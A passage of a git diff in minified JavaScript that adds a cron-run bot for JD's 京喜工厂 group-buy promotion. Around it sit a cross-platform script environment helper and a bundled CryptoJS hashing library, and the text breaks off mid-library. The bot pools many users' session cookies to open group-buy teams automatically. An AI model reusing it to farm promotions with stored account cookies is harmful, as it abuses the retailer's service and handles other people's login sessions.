getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_dreamFactory_tuan.js b/jd_dreamFactory_tuan.js new file mode 100644 index 0000000..f929be2 --- /dev/null +++ b/jd_dreamFactory_tuan.js @@ -0,0 +1,493 @@ +/* +*京喜工厂开团 + +1 0 * * * jd_dreamFactory_tuan.js + +* 若5人成团,则5个CK能成团一次,9个CK能成团两次,13个CK能成团三次 +* */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 